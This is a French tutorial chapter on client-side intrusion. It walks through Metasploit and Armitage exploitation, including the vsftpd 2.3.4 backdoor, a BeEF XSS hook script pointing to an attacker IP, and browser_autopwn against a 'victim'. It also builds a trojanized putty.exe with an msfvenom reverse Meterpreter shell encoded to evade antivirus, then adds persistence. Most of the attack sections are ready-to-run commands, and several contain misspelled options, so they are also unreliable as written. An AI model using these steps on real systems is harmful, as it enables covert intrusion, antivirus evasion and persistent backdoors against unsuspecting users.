Attaques client

Remparque : Avant de lire ce chapitre qui est le cinquième d'une série plus longue lire d'abord les quatres premiers chapitres.

Les intrusions à distance

Dans ce chapitre nous allons utiliser plusieurs outils afin de pouvoir nous introduire dans une machine cible. Etape qui vient après le scan et la découverte des services ...

Il faut noter qu’il existe plusieurs méthodes :

  • Backdoors
  • Faille au niveau du logiciel/système utilisé
  • Malveillance ...

A ce même titre les motivations sont multiple :

  • Espionnage
  • Vengeance
  • Tripe ...

Armitage

Armitage est une interface graphique pour Metasploit, développée en Java (donc multiplateforme). Il permet de visualiser les machines cibles, les exploits recommandés et les fonctionnalités avancées du framework metasploit.

Utilisation Armitage :

Lancer Armitage dans kali Linux via le menu sur la gauche ou via Application => Outils Exploitation => Armitage

  • Initialiser la connexion à la base de données

      service postgresql start
  • Naviguer dans l'onglet Hosts => add hosts et ajouter l'adresse IP ou la plage IP
  • Sur la fenêtre du haut ou un ordinateur est apparu faire clic droit sur ce dernier => scan

Rechercher les attaques possible pour la machine cible

  • Dans l'onglet attacks choisir find attacks
  • Choisir les failles que l'on souhaite exploiter en faisant clic droit attacks et choisir la vulnérabilté que l'on veux
  • Ou sinon on peut choisir l'auto pwner dasn l'onglet attacks => Hail Mary pour testé tout les exploits possible pour cette machine
  • Faire un clic droit sur la machine infecter => choisir le shell => interact
  • attendre le Listner pour qu'il initialise une connexion avec la machine

Le Framework Metasploit

Metasploit Framework est une plate-forme de test de pénétration qui vous permet de trouver, exploiter et valider des vulnérabilités. Il fournit l'infrastructure, le contenu et les outils pour effectuer des tests de pénétration et une vérification de la sécurité étendue. Le Framework Metasploit est un projet d’une incroyable volatilité. Des mises à jours quotidiennes sont effectué par l'équipe de rapid7.

Metasploit Framework offre l'infrastructure nécessaire pour automatiser les tâches mondaines ou complexes. D’abord codé en Perl, ensuite en Ruby, il est un outil indispensable pour tout les Pentester. Puissant et incontournable il permet aussi de développez ses propres exploits grâce à son API très riche.

Terminologie

  • Exploit

    • Un exploit est le moyen par lequel un attaquant profite d’un défaut dans un système, une application ou un service.

        show exploits # Voir l'ensemble des exploits
  • Payload

    • Un payload est un code que nous voulons faire exécuter par le système et qui sera délivré par un framework.

          show payloads # voir les payload disponible
          use           # chemin de l'exploit que l'on souhaite exploiter
          show options  # voir les options d'un payloads
  • Shellcode

    • Un shellcode est une suite d’instructions utilisées par un payload lors de l’exploitation. Généralement en language Assembleur.
  • Module

    • Une part de logiciel qui peut être utilisée par le framework Metasploit. Un Module d’exploit, un composant pour l’attaque. Un module auxiliaire pourra être utile/requis ( Exemple : Scan – Enumération OS etc... ) Les modules sont l'une des plus grande force de Metasploit

          show auxiliary  

      ou

         cd /usr/share/metasploit-framework/modules/auxiliary/scanner 
         ls
  • Listener
    • Composant qui attend une connexion entrante

Interface de Metasploit :

  • MSFconsole

    • Le plus populaire, flexible et le plus complet de tout le framework Metasploit
    • Patique & All In One
    • Lancer un exploit, charger un module auxiliaire, faire une énumération, effectuer un AutoPwn etc ...
  • MSFcli
    • Scripting
    • Lancement d’exploits et de modules auxiliaires etc..
    • Outil parfait pour nos tests dont on aura besoin lorsque l'on sait de quels exploits et options on aura besoin.

Armitage : Interface utilisateur entièrement graphique et interactive développer par Raphael Mudge. C'est un outil riche en fonctionnalités et disponible gratuitement.

Apprendre dabord le Framework, l'utilisation d'armitage devient ensuite facile et utile.

Utilitaire de Metasploit :

  • MSFpayload

    • La composante msfpayload permet de générer un shellcode, des exécutables et composants hors framwork.
  • MSFencode

    • Une fois le shellcode est généré par msfpayload
    • Contient plusieurs caractères qui signifient la fin d’une chaîne Fail.
      • Payload non fonctionnel
      • Peut être détecté par des IDS ou AV
      • Msfencode ==> permet d’éviter ces caractères en encodant le payload
  • Nasm Shell

    • Analyser le code en langage assembleur
    • Codes opération pour une instruction assembleur.

          cd /usr/share/metasploit-framework/tools
          ./nasm_shell.rb
          jmp esp   # exemple pour récupérer le code assembleur de jmp esp

Utilisation de Metasploit :

db_nmap -sV @IP                           # Permet de récupérer les résultat d'un scan nmap
search vsftpd 2.3.4                       # Permet de récupérer les exploit disponible pour un service et ça version
use exploit/unix/ftp/vsftpd_234_backdoor  # Permet d'utiliser l'exploit exploit/unix/ftp/vsftpd_234_backdoor
show options                              # Visualiser les options de l'exploit
set RHOST @IP                             # Ajouter @IP de la machine cible
show payloads                             # Visualiser les payloads dont on dispose pour cette exploit
exploit                                   #  Exploiter et attendre que le listner est une connexion à la machine cible

Vulnérabilité des navigateur web

BEEF :

BeEF The Browser Exploitation Framework ( http://beefproject.com/ ) est un outil de pentest basé client-side Il utilise une techniques similaire aux drive-by malware. Il accède directement à l’environnement du client et contient un Framework de Social Engineering.

Utilisation de BEEF

    beef-xss

se rendre ensuite dans un navigateur et renseigner l'url du serveur

    localhost:3000/ui/authentification

Renseigner les login/password beef/beef

une fois le navigateur détecter se rendre dans l'onglet command pour visualiser les possibilitées d'exploits

  • Module Browser : ensemble d'exploit sur les navigateur
  • Module chome : ensemble d'exploits pour Google Chrome qui permet d'injecter beef directement dans des extentions, récupéré des cookies
  • Module exploit : permet de lancé des exploits
  • Module metasploit : permet d'utilisé metasploit pour linké des exploits comme browser_autopwn

Injecter le code java script pour exploiter des failles XSS

<script src="http://@IP_attaquant:3000/hook.js"></script>

Utilisation avec Metasploit:

msfconsole                              # Lancer Metasploit
use auxiliary/server/browser_autopwn    # Utiliser l'exploit     browser_autopwn en mode server
show options                            # Visualiser les options
set @IP                                 # IP attaquant
set utripath                            # uripath de notre exploit repertoire dans le quel on soihaite mettre notre exploit
run                                     # lancer l'exploit

Une fois la configuration du serveur terminer copier le lien dans le navigateur de la victime que l'on souhaite infecter puis taper sur Entré

session -i     # voir si une connexion à été établie avec le navigateur de la victime

Les BACKDOORS

Backdoor ou porte dérobée est une fonctionnalité inconnue de l'utilisateur légitime qui donne un accès caché total ( Fichiers , Webcam , persistance etc...). Une backdoor peut permettre à un attaquant de :

  • Le transformer en cheval de Troie
  • Rebond au réseau
  • Avoir un accès total ( Fichiers , Webcam , persistance etc...).

Les facteurs : Facteur logiciel, mauvaise configuration ou humain ( le plus répondu et critique )

Meterpreter :

Meterpreter est un payload avancée qui fait partie de Metasploit depuis 2004. À l'origine écrit en C par Matt "skape" Miller, des dizaines de contributeurs ont fourni un code supplémentaire, il a donc été implémenté en PHP, Python et Java. Le payload continue d'être régulièrement mise à jour dans le cadre du développement de Metasploit.

Meterpreter est utilisé :

  • Comme un payload après l’exploitation
  • Shell Meterpreter
  • Couvrir ses traces, pivot, dumper des hashs etc...

    metsvc  # Utilitaire de persistance 
            # Permet de rendre notre backdoor persistante

Cymothoa :

Cymotoya est une backdoor très puissante qui permet d’injecter du code dans un processus existant et qui peut coexister avec le processus existant. Permet d'éviter les soupçons et d'être détecté. Les logiciels de sécurité traditionnels ne touchent pas à la mémoire il devient quasiment indétectable

Intersect

Intersect est un outil Post-exploitation qui permet de :

  • Récolter des fichiers de mots de passe
  • Copier des clés SSH
  • Récolter des informations sur le réseau
  • Identifier les logiciels de sécurité

Création d'une backdoor :

Utiliser un fichier exe piége pour coulé la backdoor dans une application légitime exemple : putty.exe pour le lancer dans la machine de la victime et voir au niveau de l'attaquant ce qui se passe.

wget https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
msfvenom -a x86 --plateform windows -x putty.exe -k -p windows/meterpreter/reverce_tcp lhost=@ip_ATTAQUANT lport=3232 -e x86/shikita_ga_nai -i 3 -b "\x00" -f exe -o shadowbot.exe

Les commandes utilisées :

 msfvnom                               # Module metasploit qui permet de créer une backdoor
 --platform                            # choisir la plateforme dans ce cas windows
 -x                                    # choisir le fichier d'entrer de la backdoor ici putty.exe
-k -p windows/meterpreter/reverce_tcp  # Utiliser le shell meterpreter
lhost=@IP                              # adresse ip de la machine de l'attaquant
lport=3232                            # PORT d'écoute sur notre machine
-e x86/shikita_ga_nai -i 3 -b "\x00"  # permet d'utiliser shikata_ga_nai afin d'encoder notre backdoor 3x pour le rendre invisible des anti-virus
-f exe -o shadowbot.exe               # permet de renseigner le fichier de sortie ici shadowbot.exe
file shadowbot.exe                    # Pour voir la nature du fichier si c'est réellement un .exe

Dans un nouveau terminal :

msfconsole                                      # lancer metasploit
use exploit/multi/handler                       # utiliser l'exploit multi/handler
set payload windows/meterpreter/reverce_tcp     # Utiliser le payload windows/meterpreter/reverce_tcp
set lhost @IP                                   # Renseigner l'hôte local
set lport 3232                                  # Renseigner le port d'écoute de notre backdoor
exploit                                         # lancer l'écoute de notre exploit

sur la machine de la victime exécuter le logiciel shadowbot.exe qui va lancer putty.exe de façon normal et ouvrir sur la machine attaquante la backdoor

help            # Lancer l'aide et utiliser les options
run metsvc      # Lancer un module de persistance pour pouvoir revenir ultérieurement sur la machine après avoir refait l'étape métasploit pour lancer l'écoute sur la machine de la victime